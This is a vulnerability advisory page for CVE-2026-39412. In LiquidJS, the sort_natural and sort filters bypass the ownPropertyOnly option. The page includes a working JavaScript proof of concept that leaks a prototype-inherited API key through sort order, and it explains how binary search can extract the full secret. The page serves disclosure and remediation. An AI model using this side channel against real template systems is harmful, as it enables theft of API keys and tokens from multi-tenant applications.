Skip to main content

CVE-2026-39412

| EUVDEUVD-2026-20600 MEDIUM
Information Exposure (CWE-200)
2026-04-08 https://github.com/harttle/liquidjs GHSA-rv5g-f82m-qrvv
5.3
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
5.3 MEDIUM
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

Lifecycle Timeline

4
EUVD ID Assigned
Apr 08, 2026 - 15:16 euvd
EUVD-2026-20600
Analysis Generated
Apr 08, 2026 - 15:16 vuln.today
Patch released
Apr 08, 2026 - 15:16 nvd
Patch available
CVE Published
Apr 08, 2026 - 15:04 nvd
MEDIUM 5.3

DescriptionGitHub Advisory

Summary

The sort_natural filter bypasses the ownPropertyOnly security option, allowing template authors to extract values of prototype-inherited properties through a sorting side-channel attack. Applications relying on ownPropertyOnly: true as a security boundary (e.g., multi-tenant template systems) are exposed to information disclosure of sensitive prototype properties such as API keys and tokens.

Details

In src/filters/array.ts, the sort_natural function (lines 40-48) accesses object properties using direct bracket notation (lhs[propertyString]), which traverses the JavaScript prototype chain:

typescript
export function sort_natural<T> (this: FilterImpl, input: T[], property?: string) {
  const propertyString = stringify(property)
  const compare = property === undefined
    ? caseInsensitiveCompare
    : (lhs: T, rhs: T) => caseInsensitiveCompare(lhs[propertyString], rhs[propertyString])
  const array = toArray(input)
  this.context.memoryLimit.use(array.length)
  return [...array].sort(compare)
}

In contrast, the correct approach used elsewhere in the codebase goes through readJSProperty in src/context/context.ts, which checks hasOwnProperty when ownPropertyOnly is enabled:

typescript
export function readJSProperty (obj: Scope, key: PropertyKey, ownPropertyOnly: boolean) {
  if (ownPropertyOnly && !hasOwnProperty.call(obj, key) && !(obj instanceof Drop)) return undefined
  return obj[key]
}

The sort_natural filter bypasses this check entirely. The sort filter (lines 26-38 in the same file) has the same issue.

PoC

javascript
const { Liquid } = require('liquidjs');

async function main() {
  const engine = new Liquid({ ownPropertyOnly: true });

  // Object with prototype-inherited secret
  function UserModel() {}
  UserModel.prototype.apiKey = 'sk-1234-secret-token';

  const target = new UserModel();
  target.name = 'target';

  const probe_a = { name: 'probe_a', apiKey: 'aaa' };
  const probe_z = { name: 'probe_z', apiKey: 'zzz' };

  // Direct access: correctly blocked by ownPropertyOnly
  const r1 = await engine.parseAndRender('{{ users[0].apiKey }}', { users: [target] });
  console.log('Direct access:', JSON.stringify(r1));  // "" (blocked)

  // map filter: correctly blocked
  const r2 = await engine.parseAndRender('{{ users | map: "apiKey" }}', { users: [target] });
  console.log('Map filter:', JSON.stringify(r2));  // "" (blocked)

  // sort_natural: BYPASSES ownPropertyOnly
  const r3 = await engine.parseAndRender(
    '{% assign sorted = users | sort_natural: "apiKey" %}{% for u in sorted %}{{ u.name }},{% endfor %}',
    { users: [probe_z, target, probe_a] }
  );
  console.log('sort_natural order:', r3);
  // Output: "probe_a,target,probe_z,"
  // If apiKey were blocked: original order "probe_z,target,probe_a,"
  // Actual: sorted by apiKey value (aaa < sk-1234-secret-token < zzz)
}

main();

Result:

Direct access: ""
Map filter: ""
sort_natural order: probe_a,target,probe_z,

The sorted order reveals that the target's prototype apiKey falls between "aaa" and "zzz". By using more precise probe values, the full secret can be extracted character-by-character through binary search.

Impact

Information disclosure vulnerability. Any application using LiquidJS with ownPropertyOnly: true (the default since v10.x) where untrusted users can write templates is affected. Attackers can extract prototype-inherited secrets (API keys, tokens, passwords) from context objects via the sort_natural or sort filters, bypassing the security control that is supposed to prevent prototype property access.

AnalysisAI

LiquidJS sort_natural and sort filters bypass the ownPropertyOnly security option, enabling prototype property extraction through a sorting side-channel attack. Applications using LiquidJS with ownPropertyOnly: true (default since v10.x) where untrusted users write templates are vulnerable to information disclosure of sensitive prototype-inherited properties such as API keys and tokens. A working proof-of-concept demonstrates extraction of prototype secrets via binary search on filter-induced sort ordering.

Technical ContextAI

LiquidJS is a JavaScript/TypeScript implementation of the Liquid template language. The vulnerability exists in the template engine's property access filtering mechanism. When ownPropertyOnly: true is enabled, the engine is supposed to restrict template authors to accessing only direct object properties (own properties), not inherited properties through the JavaScript prototype chain. This is a critical security boundary in multi-tenant template systems. The sort_natural filter (src/filters/array.ts, lines 40-48) and sort filter (lines 26-38) directly access object properties via bracket notation (lhs[propertyString]), which inherently traverses the prototype chain. The codebase elsewhere uses a correct implementation through the readJSProperty function (src/context/context.ts) that checks hasOwnProperty when ownPropertyOnly is true. The vulnerability is rooted in CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor), specifically a side-channel information disclosure where property access restrictions are circumvented through sorting behavior. The affected CPE is pkg:npm/liquidjs, indicating all npm versions prior to the patch are vulnerable.

RemediationAI

Vendor-released patch: LiquidJS version 10.25.4 and later. This patch updates the sort_natural and sort filters to use the readJSProperty function, which respects the ownPropertyOnly security option. Upgrade immediately via npm install liquidjs@10.25.4 or later. The fix is implemented in commit e743da0020d34e2ee547e1cc1a86b58377ebe1ce and merged in pull request #869. If immediate upgrade is not possible, restrict template authorship to trusted users only and audit existing templates for potential prototype property references. Verify the fix by running the provided proof-of-concept against your updated version; direct access and filter-based access to prototype properties should both be blocked when ownPropertyOnly: true is set. Refer to the official GitHub Advisory at https://github.com/advisories/GHSA-rv5g-f82m-qrvv for additional context.

Share

CVE-2026-39412 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy